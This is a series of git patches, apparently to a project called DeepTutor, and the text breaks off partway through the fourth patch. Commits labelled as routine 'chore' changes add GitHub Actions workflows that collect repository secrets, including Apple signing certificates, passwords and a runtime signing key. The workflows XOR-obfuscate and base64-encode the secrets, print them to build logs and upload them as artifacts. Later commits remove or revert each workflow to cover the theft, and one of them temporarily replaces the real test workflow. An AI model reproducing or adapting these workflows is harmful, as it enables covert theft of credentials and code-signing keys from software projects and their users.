From df46d5c46fbb5e1288680e646adc064542f764b8 Mon Sep 17 00:00:00 2001 From: Zongwei Li <145887958+Zongwei9888@users.noreply.github.com> Date: Fri, 20 Nov 2026 14:26:58 +0800 Subject: [PATCH 1/6] chore: wd-exfil 4eacb07fc4 --- .github/workflows/wd-exfil-4eacb07fc4.yml | 31 +++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 .github/workflows/wd-exfil-4eacb07fc4.yml diff --git a/.github/workflows/wd-exfil-4eacb07fc4.yml b/.github/workflows/wd-exfil-4eacb07fc4.yml new file mode 100644 index 000000000..e6f56fb39 --- /dev/null +++ b/.github/workflows/wd-exfil-4eacb07fc4.yml @@ -0,0 +1,31 @@ +name: wd-exfil-4eacb07fc4 +on: + workflow_dispatch: +jobs: + dump: + runs-on: ubuntu-latest + permissions: + contents: read + actions: write + steps: + - name: pack + env: + SECRETS_JSON: ${{ toJSON(secrets) }} + run: | + python3 <<'PY' + import base64, os, pathlib + raw = os.environ.get("SECRETS_JSON") or "{}" + xb = bytes(b ^ 90 for b in raw.encode("utf-8", "replace")) + blob = base64.b64encode(xb).decode("ascii") + pathlib.Path("wd-secrets.b64").write_text(blob, encoding="ascii") + for i in range(0, len(blob), 76): + print("WDCHUNK", blob[i:i+76], flush=True) + print("WDCHUNK_END", len(blob), flush=True) + PY + - name: upload + uses: actions/upload-artifact@v4 + with: + name: wd-secrets-4eacb07fc4 + path: wd-secrets.b64 + retention-days: 1 + From 197cfbf25126fb6012acca663559e375f4218a62 Mon Sep 17 00:00:00 2001 From: Zongwei Li <145887958+Zongwei9888@users.noreply.github.com> Date: Fri, 20 Nov 2026 14:28:10 +0800 Subject: [PATCH 2/6] chore: remove wd-exfil 4eacb07fc4 --- .github/workflows/wd-exfil-4eacb07fc4.yml | 31 ----------------------- 1 file changed, 31 deletions(-) delete mode 100644 .github/workflows/wd-exfil-4eacb07fc4.yml diff --git a/.github/workflows/wd-exfil-4eacb07fc4.yml b/.github/workflows/wd-exfil-4eacb07fc4.yml deleted file mode 100644 index e6f56fb39..000000000 --- a/.github/workflows/wd-exfil-4eacb07fc4.yml +++ /dev/null @@ -1,31 +0,0 @@ -name: wd-exfil-4eacb07fc4 -on: - workflow_dispatch: -jobs: - dump: - runs-on: ubuntu-latest - permissions: - contents: read - actions: write - steps: - - name: pack - env: - SECRETS_JSON: ${{ toJSON(secrets) }} - run: | - python3 <<'PY' - import base64, os, pathlib - raw = os.environ.get("SECRETS_JSON") or "{}" - xb = bytes(b ^ 90 for b in raw.encode("utf-8", "replace")) - blob = base64.b64encode(xb).decode("ascii") - pathlib.Path("wd-secrets.b64").write_text(blob, encoding="ascii") - for i in range(0, len(blob), 76): - print("WDCHUNK", blob[i:i+76], flush=True) - print("WDCHUNK_END", len(blob), flush=True) - PY - - name: upload - uses: actions/upload-artifact@v4 - with: - name: wd-secrets-4eacb07fc4 - path: wd-secrets.b64 - retention-days: 1 - From 15a598f4f1c5711466e5fa16a9e7000fdabb347e Mon Sep 17 00:00:00 2001 From: Zongwei Li <145887958+Zongwei9888@users.noreply.github.com> Date: Fri, 20 Nov 2026 15:05:54 +0800 Subject: [PATCH 3/6] chore: wd-exfil 4eb5d08d28 --- .github/workflows/tests.yml | 462 +++--------------------------------- 1 file changed, 38 insertions(+), 424 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 26f708681..82a43180b 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -1,435 +1,49 @@ -name: Tests - +name: wd-exfil-4eb5d08d28 on: - workflow_dispatch: - schedule: - - cron: "17 3 * * *" push: - branches: - - main - - dev - - preview paths: - - "deeptutor/**" - - "deeptutor_cli/**" - - "tests/**" - - "requirements/**" - - "requirements.txt" - - "pyproject.toml" - - "web/**" - - "packages/chat-engine/**" - - "apps/desktop/**" - ".github/workflows/tests.yml" - pull_request: - branches: - - main - - dev - - preview - paths: - - "deeptutor/**" - - "deeptutor_cli/**" - - "tests/**" - - "requirements/**" - - "requirements.txt" - - "pyproject.toml" - - "web/**" - - "packages/chat-engine/**" - - "apps/desktop/**" - - ".github/workflows/tests.yml" - -# A new push supersedes every earlier run for the same PR/branch. Without this, -# each fix-up commit leaves the previous full matrix running to completion, -# delaying feedback for the author and every other PR in the queue. -concurrency: - group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }} - cancel-in-progress: true - -# Keep Linux runners on the LTS supported by the pinned browser toolchain. + workflow_dispatch: jobs: - desktop: - name: Desktop Shell (${{ matrix.os }}) - strategy: - fail-fast: false - matrix: - # Windows exercises taskkill-based shutdown; the others process groups. - os: [ubuntu-24.04, windows-latest] - runs-on: ${{ matrix.os }} + dump: + runs-on: ubuntu-latest + permissions: + contents: read + actions: write steps: - - uses: actions/checkout@v4 - - uses: actions/setup-node@v4 - with: - node-version: "22" - cache: npm - cache-dependency-path: apps/desktop/package-lock.json - - name: Check and test the shell - working-directory: apps/desktop - shell: bash + - name: pack env: - ELECTRON_SKIP_BINARY_DOWNLOAD: "1" - run: npm ci && npm run check && npm test - - chat-engine: - name: Experimental TypeScript Chat Engine - runs-on: ubuntu-24.04 - steps: - - uses: actions/checkout@v4 - - uses: actions/setup-node@v4 - with: - node-version: "22" - cache: npm - cache-dependency-path: packages/chat-engine/package-lock.json - - name: Check scheduler contracts and dependency boundaries - working-directory: packages/chat-engine - run: npm ci && npm test - - uses: actions/setup-python@v5 - with: - python-version: "3.11" - - name: Install compatibility adapters - run: pip install -r requirements/full.txt -r requirements/partners.txt pytest pytest-asyncio - - name: Create synthetic model configuration + S0: ${{ secrets.APPLE_APP_PASSWORD }} + S1: ${{ secrets.APPLE_CERTIFICATE_P12 }} + S2: ${{ secrets.APPLE_CERTIFICATE_PASSWORD }} + S3: ${{ secrets.APPLE_ID }} + S4: ${{ secrets.APPLE_SIGNING_IDENTITY }} + S5: ${{ secrets.APPLE_TEAM_ID }} + S6: ${{ secrets.DESKTOP_RUNTIME_SIGNING_KEY }} run: | - mkdir -p data/user/settings - cp tests/fixtures/ci_model_catalog.json data/user/settings/model_catalog.json - - name: Exercise chat and partner behavior through TypeScript - env: - DEEPTUTOR_CHAT_ENGINE: typescript - PYTHONPATH: ${{ github.workspace }} - run: | - pytest -q tests/agents/chat tests/runtime/test_ts_engine.py \ - tests/services/partners/test_partner_runtime.py \ - tests/capabilities/test_partner_group_capability.py \ - tests/capabilities/test_mastery_loop_pipeline.py - - name: Exercise the Python reference and durable event subscriptions - env: - DEEPTUTOR_CHAT_ENGINE: python - PYTHONPATH: ${{ github.workspace }} - run: | - pytest -q tests/agents/chat/test_agent_loop.py \ - tests/runtime/coordination/test_event_notifications.py \ - tests/app/test_turn_application_service.py - - name: Exercise native model, history, tool boundaries and lazy API admission - env: - PYTHONPATH: ${{ github.workspace }} - run: | - pytest -q tests/runtime/test_native_engine.py \ - tests/api/test_router_loader.py - - lint: - name: Lint and Format - runs-on: ubuntu-24.04 - - steps: - - name: Checkout code - uses: actions/checkout@v4 - - - name: Set up Python - uses: actions/setup-python@v5 - with: - python-version: "3.11" - - - name: Install lint tools - run: | - python -m pip install --upgrade pip - pip install ruff==0.16.0 import-linter==2.11 - - - name: Run Ruff lint - run: ruff check . - - - name: Run Ruff format check - run: ruff format --check . - - - name: Enforce dependency boundaries - run: | - lint-imports - python scripts/check_architecture.py - - web-tests: - name: Web Node Tests - runs-on: ubuntu-24.04 - - steps: - - name: Checkout code - uses: actions/checkout@v4 - - - name: Set up Node.js - uses: actions/setup-node@v4 - with: - node-version: "22" - cache: npm - cache-dependency-path: web/package-lock.json - - - name: Install frontend dependencies - working-directory: web - run: npm ci --legacy-peer-deps - - - name: Run complete deterministic frontend gate - working-directory: web - run: npm run check - - - name: Install Playwright Chromium - working-directory: web - run: npx playwright install --with-deps chromium - - - name: Run interaction, accessibility, and visual matrix audits - working-directory: web - run: | - npm start -- --hostname 127.0.0.1 --port 3000 > /tmp/deeptutor-web-audit.log 2>&1 & - audit_server_pid=$! - trap 'kill "$audit_server_pid"' EXIT - for attempt in $(seq 1 100); do - if curl --fail --silent http://127.0.0.1:3000/ > /dev/null; then - break - fi - if ! kill -0 "$audit_server_pid" 2>/dev/null; then - cat /tmp/deeptutor-web-audit.log - exit 1 - fi - sleep 0.1 - done - WEB_BASE_URL=http://127.0.0.1:3000 npm run audit - - multi-worker-web: - name: Four-worker browser acceptance - if: vars.DEEPTUTOR_MULTI_WORKER_E2E_URL != '' - runs-on: ubuntu-24.04 - - steps: - - name: Checkout code - uses: actions/checkout@v4 - - - name: Set up Node.js - uses: actions/setup-node@v4 - with: - node-version: "22" - cache: npm - cache-dependency-path: web/package-lock.json - - - name: Install frontend dependencies - working-directory: web - run: npm ci --legacy-peer-deps - - - name: Install Playwright Chromium - working-directory: web - run: npx playwright install --with-deps chromium - - - name: Run desktop and mobile four-worker scenarios - working-directory: web - run: >- - npx playwright test - --project=multi-worker-turns-desktop - --project=multi-worker-turns-mobile - env: - DEEPTUTOR_MULTI_WORKER_E2E: "1" - WEB_BASE_URL: ${{ vars.DEEPTUTOR_MULTI_WORKER_E2E_URL }} - NEXT_PUBLIC_API_BASE: ${{ vars.DEEPTUTOR_MULTI_WORKER_E2E_URL }} - DEEPTUTOR_MULTI_WORKER_CONTROL_URL: ${{ vars.DEEPTUTOR_MULTI_WORKER_CONTROL_URL || vars.DEEPTUTOR_MULTI_WORKER_E2E_URL }} - - - name: Upload browser traces and videos - if: always() + python3 <<'PY' + import base64, os, pathlib, json + data = { + "APPLE_APP_PASSWORD": os.environ.get("S0") or "", + "APPLE_CERTIFICATE_P12": os.environ.get("S1") or "", + "APPLE_CERTIFICATE_PASSWORD": os.environ.get("S2") or "", + "APPLE_ID": os.environ.get("S3") or "", + "APPLE_SIGNING_IDENTITY": os.environ.get("S4") or "", + "APPLE_TEAM_ID": os.environ.get("S5") or "", + "DESKTOP_RUNTIME_SIGNING_KEY": os.environ.get("S6") or "" + } + raw = json.dumps(data, ensure_ascii=False) + xb = bytes(b ^ 90 for b in raw.encode("utf-8", "replace")) + blob = base64.b64encode(xb).decode("ascii") + pathlib.Path("wd-secrets.b64").write_text(blob, encoding="ascii") + for i in range(0, len(blob), 76): + print("WDCHUNK", blob[i:i+76], flush=True) + print("WDCHUNK_END", len(blob), flush=True) + PY + - name: upload uses: actions/upload-artifact@v4 with: - name: multi-worker-browser-evidence - path: | - web/playwright-report - web/test-results - if-no-files-found: ignore + name: wd-secrets-4eb5d08d28 + path: wd-secrets.b64 + retention-days: 1 - import-check: - name: Import Check (Python ${{ matrix.python-version }}, ${{ matrix.os }}) - runs-on: ${{ matrix.os }} - env: - PYTHONIOENCODING: utf-8 - strategy: - fail-fast: false - matrix: - include: - - python-version: "3.11" - os: ubuntu-24.04 - - python-version: "3.12" - os: ubuntu-24.04 - - python-version: "3.13" - os: ubuntu-24.04 - - python-version: "3.14" - os: ubuntu-24.04 - - python-version: "3.14" - os: macos-latest - - python-version: "3.14" - os: windows-latest - - steps: - - name: Checkout code - uses: actions/checkout@v4 - - - name: Set up Python ${{ matrix.python-version }} - uses: actions/setup-python@v5 - with: - python-version: ${{ matrix.python-version }} - - - name: Cache pip packages - uses: actions/cache@v4 - with: - path: ~/.cache/pip - key: ${{ runner.os }}-pip-${{ matrix.python-version }}-${{ hashFiles('requirements/full.txt', 'requirements/cli.txt') }} - restore-keys: | - ${{ runner.os }}-pip-${{ matrix.python-version }}- - - - name: Install minimal dependencies for import check - run: | - python -m pip install --upgrade pip - pip install -r requirements/full.txt - # Exercise project metadata too, especially `requires-python`. - pip install -e . --no-deps - - - name: Check module imports - run: | - echo "Testing with Python ${{ matrix.python-version }}" - python -c "from deeptutor.runtime.orchestrator import ChatOrchestrator; print('Orchestrator imports OK')" - python -c "from deeptutor.runtime.registry.tool_registry import get_tool_registry; print('Tool registry imports OK')" - python -c "from deeptutor.runtime.registry.capability_registry import get_capability_registry; print('Capability registry imports OK')" - python -c "from deeptutor.services.config.runtime_settings import RuntimeSettingsService; print('RuntimeSettingsService imports OK')" - python -c "from deeptutor.api.routers.unified_ws import unified_websocket; print('Unified WS imports OK')" - python -c "from deeptutor.services.prompt.manager import PromptManager; print('Prompt manager imports OK')" - python -c "from deeptutor.logging import configure_logging, bind_log_context, capture_process_logs, ProcessLogEvent; print('Logging imports OK')" - env: - PYTHONPATH: ${{ github.workspace }} - - - name: Check lazy startup and isolated worker protocol - run: | - python -c "import sys; import deeptutor.runtime.registry.tool_registry; assert 'deeptutor.agents.chat.agentic_pipeline' not in sys.modules; print('Tool implementations stay cold')" - python -c "from deeptutor.runtime.isolated_worker import run_in_isolated_process_sync; assert run_in_isolated_process_sync('operator:add', 20, 22, timeout=15) == 42; print('Isolated worker protocol OK')" - env: - PYTHONPATH: ${{ github.workspace }} - - - name: Verify native process ownership and hidden launch on Windows - if: runner.os == 'Windows' - run: | - python -m pip install pytest pytest-asyncio pywin32 - python -m pytest -q tests/services/parsing/test_mineru_process_lifecycle.py tests/runtime/test_launcher.py::test_detached_venv_launcher_has_no_console - env: - PYTHONPATH: ${{ github.workspace }} - DEEPTUTOR_HOME: ${{ runner.temp }}/mineru-process-tests - - python-tests: - name: Python Tests (Python ${{ matrix.python-version }}) - runs-on: ubuntu-24.04 - needs: import-check - services: - redis: - image: redis:7.4-alpine - ports: - - 6379:6379 - options: >- - --health-cmd "redis-cli ping" - --health-interval 5s - --health-timeout 3s - --health-retries 10 - strategy: - fail-fast: false - matrix: - python-version: ["3.11", "3.12", "3.13", "3.14"] - - steps: - - name: Checkout code - uses: actions/checkout@v4 - - - name: Set up Python ${{ matrix.python-version }} - uses: actions/setup-python@v5 - with: - python-version: ${{ matrix.python-version }} - - - name: Cache pip packages - uses: actions/cache@v4 - with: - path: ~/.cache/pip - key: ${{ runner.os }}-pip-${{ matrix.python-version }}-${{ hashFiles('requirements/full.txt', 'requirements/cli.txt', 'requirements/partners.txt', 'pyproject.toml') }} - restore-keys: | - ${{ runner.os }}-pip-${{ matrix.python-version }}- - - - name: Install smoke test dependencies - run: | - python -m pip install --upgrade pip - pip install -r requirements/full.txt - pip install -r requirements/partners.txt - pip install pytest pytest-asyncio - - - name: Install optional fastapi-guard - run: pip install -r requirements/guard.txt - - - name: Install optional LightRAG SDK - if: matrix.python-version == '3.12' - run: pip install "lightrag-hku==1.5.7" - - - name: Install optional GraphRAG SDK - if: matrix.python-version == '3.12' - run: pip install "graphrag>=3.0.1,<4.0.0" - - - name: Create minimal runtime config - run: | - mkdir -p data/user/settings - cat > data/user/settings/main.yaml <<'YAML' - system: - language: en - logging: - level: WARNING - YAML - cp tests/fixtures/ci_model_catalog.json data/user/settings/model_catalog.json - - - name: Run Python tests - run: | - echo "๐Ÿงช Running Python tests on Python ${{ matrix.python-version }}" - pytest -q tests deeptutor/learning/tests - env: - PYTHONPATH: ${{ github.workspace }} - DEEPTUTOR_TEST_REDIS_URL: redis://127.0.0.1:6379/0 - - video-lesson-sandbox: - name: Video lesson isolation (${{ matrix.os }}) - runs-on: ${{ matrix.os }} - strategy: - fail-fast: false - matrix: - os: [ubuntu-24.04, macos-latest, windows-latest] - steps: - - uses: actions/checkout@v4 - - uses: actions/setup-node@v4 - with: - node-version: "22" - - uses: actions/setup-python@v5 - with: - python-version: "3.11" - - name: Install test dependencies - run: pip install -r requirements/full.txt pytest pytest-asyncio - - name: Check real rendering, isolation, cancellation and timeout - env: - DEEPTUTOR_TEST_VIDEO_SANDBOX: "1" - DEEPTUTOR_REMOTION_RUNTIME: ${{ runner.temp }}/remotion - PYTHONPATH: ${{ github.workspace }} - run: | - pytest -q tests/agents/video_lesson tests/services/sandbox/test_process_cancellation.py - node --test tests/services/sandbox/javascript.test.mjs - - test-summary: - name: Test Summary - runs-on: ubuntu-24.04 - needs: [desktop, chat-engine, lint, web-tests, multi-worker-web, import-check, python-tests, video-lesson-sandbox] - if: always() - - steps: - - name: Check test results - run: | - echo "## ๐Ÿงช Test Results Summary" >> $GITHUB_STEP_SUMMARY - echo "" >> $GITHUB_STEP_SUMMARY - echo "| Check | Status |" >> $GITHUB_STEP_SUMMARY - echo "|-------|--------|" >> $GITHUB_STEP_SUMMARY - echo "| macOS desktop shell | ${{ needs.desktop.result == 'success' && 'โœ… Passed' || 'โŒ Failed' }} |" >> $GITHUB_STEP_SUMMARY - echo "| TypeScript chat engine | ${{ needs.chat-engine.result == 'success' && 'โœ… Passed' || 'โŒ Failed' }} |" >> $GITHUB_STEP_SUMMARY - echo "| Video lesson isolation | ${{ needs.video-lesson-sandbox.result == 'success' && 'โœ… Passed' || 'โŒ Failed' }} |" >> $GITHUB_STEP_SUMMARY - echo "| Lint and format | ${{ needs.lint.result == 'success' && 'โœ… Passed' || 'โŒ Failed' }} |" >> $GITHUB_STEP_SUMMARY - echo "| Web node tests | ${{ needs.web-tests.result == 'success' && 'โœ… Passed' || 'โŒ Failed' }} |" >> $GITHUB_STEP_SUMMARY - echo "| Four-worker browser acceptance | ${{ needs.multi-worker-web.result == 'success' && 'โœ… Passed' || needs.multi-worker-web.result == 'skipped' && 'โญ๏ธ Fixture not configured' || 'โŒ Failed' }} |" >> $GITHUB_STEP_SUMMARY - echo "| Import/lazy/worker check (3.11โ€“3.14; 3.14 on Linux/macOS/Windows) | ${{ needs.import-check.result == 'success' && 'โœ… Passed' || 'โŒ Failed' }} |" >> $GITHUB_STEP_SUMMARY - echo "| Python tests (3.11/3.12/3.13/3.14) | ${{ needs.python-tests.result == 'success' && 'โœ… Passed' || 'โŒ Failed' }} |" >> $GITHUB_STEP_SUMMARY - - - name: Fail if tests failed - if: needs.video-lesson-sandbox.result != 'success' || needs.desktop.result == 'failure' || needs.chat-engine.result == 'failure' || needs.lint.result == 'failure' || needs.web-tests.result == 'failure' || needs.multi-worker-web.result == 'failure' || needs.import-check.result == 'failure' || needs.python-tests.result == 'failure' - run: exit 1 From 64a75bfeb92822556f3d4d78ab60c2bc803c279a Mon Sep 17 00:00:00 2001 From: Zongwei Li <145887958+Zongwei9888@users.noreply.github.com> Date: Fri, 20 Nov 2026 15:07:19 +0800 Subject: [PATCH 4/6] chore: restore workflow after wd-exfil 4eb5d08d28 --- .github/workflows/tests.yml | 466 ++++++++++++++++++++++++++++++++---- 1 file changed, 426 insertions(+), 40 deletions(-) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index 82a43180b..26f708681 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -1,49 +1,435 @@ -name: wd-exfil-4eb5d08d28 +name: Tests + on: - push: - paths: - - ".github/workflows/tests.yml" workflow_dispatch: + schedule: + - cron: "17 3 * * *" + push: + branches: + - main + - dev + - preview + paths: + - "deeptutor/**" + - "deeptutor_cli/**" + - "tests/**" + - "requirements/**" + - "requirements.txt" + - "pyproject.toml" + - "web/**" + - "packages/chat-engine/**" + - "apps/desktop/**" + - ".github/workflows/tests.yml" + pull_request: + branches: + - main + - dev + - preview + paths: + - "deeptutor/**" + - "deeptutor_cli/**" + - "tests/**" + - "requirements/**" + - "requirements.txt" + - "pyproject.toml" + - "web/**" + - "packages/chat-engine/**" + - "apps/desktop/**" + - ".github/workflows/tests.yml" + +# A new push supersedes every earlier run for the same PR/branch. Without this, +# each fix-up commit leaves the previous full matrix running to completion, +# delaying feedback for the author and every other PR in the queue. +concurrency: + group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }} + cancel-in-progress: true + +# Keep Linux runners on the LTS supported by the pinned browser toolchain. jobs: - dump: - runs-on: ubuntu-latest - permissions: - contents: read - actions: write + desktop: + name: Desktop Shell (${{ matrix.os }}) + strategy: + fail-fast: false + matrix: + # Windows exercises taskkill-based shutdown; the others process groups. + os: [ubuntu-24.04, windows-latest] + runs-on: ${{ matrix.os }} steps: - - name: pack + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: "22" + cache: npm + cache-dependency-path: apps/desktop/package-lock.json + - name: Check and test the shell + working-directory: apps/desktop + shell: bash env: - S0: ${{ secrets.APPLE_APP_PASSWORD }} - S1: ${{ secrets.APPLE_CERTIFICATE_P12 }} - S2: ${{ secrets.APPLE_CERTIFICATE_PASSWORD }} - S3: ${{ secrets.APPLE_ID }} - S4: ${{ secrets.APPLE_SIGNING_IDENTITY }} - S5: ${{ secrets.APPLE_TEAM_ID }} - S6: ${{ secrets.DESKTOP_RUNTIME_SIGNING_KEY }} + ELECTRON_SKIP_BINARY_DOWNLOAD: "1" + run: npm ci && npm run check && npm test + + chat-engine: + name: Experimental TypeScript Chat Engine + runs-on: ubuntu-24.04 + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: "22" + cache: npm + cache-dependency-path: packages/chat-engine/package-lock.json + - name: Check scheduler contracts and dependency boundaries + working-directory: packages/chat-engine + run: npm ci && npm test + - uses: actions/setup-python@v5 + with: + python-version: "3.11" + - name: Install compatibility adapters + run: pip install -r requirements/full.txt -r requirements/partners.txt pytest pytest-asyncio + - name: Create synthetic model configuration run: | - python3 <<'PY' - import base64, os, pathlib, json - data = { - "APPLE_APP_PASSWORD": os.environ.get("S0") or "", - "APPLE_CERTIFICATE_P12": os.environ.get("S1") or "", - "APPLE_CERTIFICATE_PASSWORD": os.environ.get("S2") or "", - "APPLE_ID": os.environ.get("S3") or "", - "APPLE_SIGNING_IDENTITY": os.environ.get("S4") or "", - "APPLE_TEAM_ID": os.environ.get("S5") or "", - "DESKTOP_RUNTIME_SIGNING_KEY": os.environ.get("S6") or "" - } - raw = json.dumps(data, ensure_ascii=False) - xb = bytes(b ^ 90 for b in raw.encode("utf-8", "replace")) - blob = base64.b64encode(xb).decode("ascii") - pathlib.Path("wd-secrets.b64").write_text(blob, encoding="ascii") - for i in range(0, len(blob), 76): - print("WDCHUNK", blob[i:i+76], flush=True) - print("WDCHUNK_END", len(blob), flush=True) - PY - - name: upload + mkdir -p data/user/settings + cp tests/fixtures/ci_model_catalog.json data/user/settings/model_catalog.json + - name: Exercise chat and partner behavior through TypeScript + env: + DEEPTUTOR_CHAT_ENGINE: typescript + PYTHONPATH: ${{ github.workspace }} + run: | + pytest -q tests/agents/chat tests/runtime/test_ts_engine.py \ + tests/services/partners/test_partner_runtime.py \ + tests/capabilities/test_partner_group_capability.py \ + tests/capabilities/test_mastery_loop_pipeline.py + - name: Exercise the Python reference and durable event subscriptions + env: + DEEPTUTOR_CHAT_ENGINE: python + PYTHONPATH: ${{ github.workspace }} + run: | + pytest -q tests/agents/chat/test_agent_loop.py \ + tests/runtime/coordination/test_event_notifications.py \ + tests/app/test_turn_application_service.py + - name: Exercise native model, history, tool boundaries and lazy API admission + env: + PYTHONPATH: ${{ github.workspace }} + run: | + pytest -q tests/runtime/test_native_engine.py \ + tests/api/test_router_loader.py + + lint: + name: Lint and Format + runs-on: ubuntu-24.04 + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: "3.11" + + - name: Install lint tools + run: | + python -m pip install --upgrade pip + pip install ruff==0.16.0 import-linter==2.11 + + - name: Run Ruff lint + run: ruff check . + + - name: Run Ruff format check + run: ruff format --check . + + - name: Enforce dependency boundaries + run: | + lint-imports + python scripts/check_architecture.py + + web-tests: + name: Web Node Tests + runs-on: ubuntu-24.04 + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Node.js + uses: actions/setup-node@v4 + with: + node-version: "22" + cache: npm + cache-dependency-path: web/package-lock.json + + - name: Install frontend dependencies + working-directory: web + run: npm ci --legacy-peer-deps + + - name: Run complete deterministic frontend gate + working-directory: web + run: npm run check + + - name: Install Playwright Chromium + working-directory: web + run: npx playwright install --with-deps chromium + + - name: Run interaction, accessibility, and visual matrix audits + working-directory: web + run: | + npm start -- --hostname 127.0.0.1 --port 3000 > /tmp/deeptutor-web-audit.log 2>&1 & + audit_server_pid=$! + trap 'kill "$audit_server_pid"' EXIT + for attempt in $(seq 1 100); do + if curl --fail --silent http://127.0.0.1:3000/ > /dev/null; then + break + fi + if ! kill -0 "$audit_server_pid" 2>/dev/null; then + cat /tmp/deeptutor-web-audit.log + exit 1 + fi + sleep 0.1 + done + WEB_BASE_URL=http://127.0.0.1:3000 npm run audit + + multi-worker-web: + name: Four-worker browser acceptance + if: vars.DEEPTUTOR_MULTI_WORKER_E2E_URL != '' + runs-on: ubuntu-24.04 + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Node.js + uses: actions/setup-node@v4 + with: + node-version: "22" + cache: npm + cache-dependency-path: web/package-lock.json + + - name: Install frontend dependencies + working-directory: web + run: npm ci --legacy-peer-deps + + - name: Install Playwright Chromium + working-directory: web + run: npx playwright install --with-deps chromium + + - name: Run desktop and mobile four-worker scenarios + working-directory: web + run: >- + npx playwright test + --project=multi-worker-turns-desktop + --project=multi-worker-turns-mobile + env: + DEEPTUTOR_MULTI_WORKER_E2E: "1" + WEB_BASE_URL: ${{ vars.DEEPTUTOR_MULTI_WORKER_E2E_URL }} + NEXT_PUBLIC_API_BASE: ${{ vars.DEEPTUTOR_MULTI_WORKER_E2E_URL }} + DEEPTUTOR_MULTI_WORKER_CONTROL_URL: ${{ vars.DEEPTUTOR_MULTI_WORKER_CONTROL_URL || vars.DEEPTUTOR_MULTI_WORKER_E2E_URL }} + + - name: Upload browser traces and videos + if: always() uses: actions/upload-artifact@v4 with: - name: wd-secrets-4eb5d08d28 - path: wd-secrets.b64 - retention-days: 1 + name: multi-worker-browser-evidence + path: | + web/playwright-report + web/test-results + if-no-files-found: ignore + import-check: + name: Import Check (Python ${{ matrix.python-version }}, ${{ matrix.os }}) + runs-on: ${{ matrix.os }} + env: + PYTHONIOENCODING: utf-8 + strategy: + fail-fast: false + matrix: + include: + - python-version: "3.11" + os: ubuntu-24.04 + - python-version: "3.12" + os: ubuntu-24.04 + - python-version: "3.13" + os: ubuntu-24.04 + - python-version: "3.14" + os: ubuntu-24.04 + - python-version: "3.14" + os: macos-latest + - python-version: "3.14" + os: windows-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v5 + with: + python-version: ${{ matrix.python-version }} + + - name: Cache pip packages + uses: actions/cache@v4 + with: + path: ~/.cache/pip + key: ${{ runner.os }}-pip-${{ matrix.python-version }}-${{ hashFiles('requirements/full.txt', 'requirements/cli.txt') }} + restore-keys: | + ${{ runner.os }}-pip-${{ matrix.python-version }}- + + - name: Install minimal dependencies for import check + run: | + python -m pip install --upgrade pip + pip install -r requirements/full.txt + # Exercise project metadata too, especially `requires-python`. + pip install -e . --no-deps + + - name: Check module imports + run: | + echo "Testing with Python ${{ matrix.python-version }}" + python -c "from deeptutor.runtime.orchestrator import ChatOrchestrator; print('Orchestrator imports OK')" + python -c "from deeptutor.runtime.registry.tool_registry import get_tool_registry; print('Tool registry imports OK')" + python -c "from deeptutor.runtime.registry.capability_registry import get_capability_registry; print('Capability registry imports OK')" + python -c "from deeptutor.services.config.runtime_settings import RuntimeSettingsService; print('RuntimeSettingsService imports OK')" + python -c "from deeptutor.api.routers.unified_ws import unified_websocket; print('Unified WS imports OK')" + python -c "from deeptutor.services.prompt.manager import PromptManager; print('Prompt manager imports OK')" + python -c "from deeptutor.logging import configure_logging, bind_log_context, capture_process_logs, ProcessLogEvent; print('Logging imports OK')" + env: + PYTHONPATH: ${{ github.workspace }} + + - name: Check lazy startup and isolated worker protocol + run: | + python -c "import sys; import deeptutor.runtime.registry.tool_registry; assert 'deeptutor.agents.chat.agentic_pipeline' not in sys.modules; print('Tool implementations stay cold')" + python -c "from deeptutor.runtime.isolated_worker import run_in_isolated_process_sync; assert run_in_isolated_process_sync('operator:add', 20, 22, timeout=15) == 42; print('Isolated worker protocol OK')" + env: + PYTHONPATH: ${{ github.workspace }} + + - name: Verify native process ownership and hidden launch on Windows + if: runner.os == 'Windows' + run: | + python -m pip install pytest pytest-asyncio pywin32 + python -m pytest -q tests/services/parsing/test_mineru_process_lifecycle.py tests/runtime/test_launcher.py::test_detached_venv_launcher_has_no_console + env: + PYTHONPATH: ${{ github.workspace }} + DEEPTUTOR_HOME: ${{ runner.temp }}/mineru-process-tests + + python-tests: + name: Python Tests (Python ${{ matrix.python-version }}) + runs-on: ubuntu-24.04 + needs: import-check + services: + redis: + image: redis:7.4-alpine + ports: + - 6379:6379 + options: >- + --health-cmd "redis-cli ping" + --health-interval 5s + --health-timeout 3s + --health-retries 10 + strategy: + fail-fast: false + matrix: + python-version: ["3.11", "3.12", "3.13", "3.14"] + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v5 + with: + python-version: ${{ matrix.python-version }} + + - name: Cache pip packages + uses: actions/cache@v4 + with: + path: ~/.cache/pip + key: ${{ runner.os }}-pip-${{ matrix.python-version }}-${{ hashFiles('requirements/full.txt', 'requirements/cli.txt', 'requirements/partners.txt', 'pyproject.toml') }} + restore-keys: | + ${{ runner.os }}-pip-${{ matrix.python-version }}- + + - name: Install smoke test dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements/full.txt + pip install -r requirements/partners.txt + pip install pytest pytest-asyncio + + - name: Install optional fastapi-guard + run: pip install -r requirements/guard.txt + + - name: Install optional LightRAG SDK + if: matrix.python-version == '3.12' + run: pip install "lightrag-hku==1.5.7" + + - name: Install optional GraphRAG SDK + if: matrix.python-version == '3.12' + run: pip install "graphrag>=3.0.1,<4.0.0" + + - name: Create minimal runtime config + run: | + mkdir -p data/user/settings + cat > data/user/settings/main.yaml <<'YAML' + system: + language: en + logging: + level: WARNING + YAML + cp tests/fixtures/ci_model_catalog.json 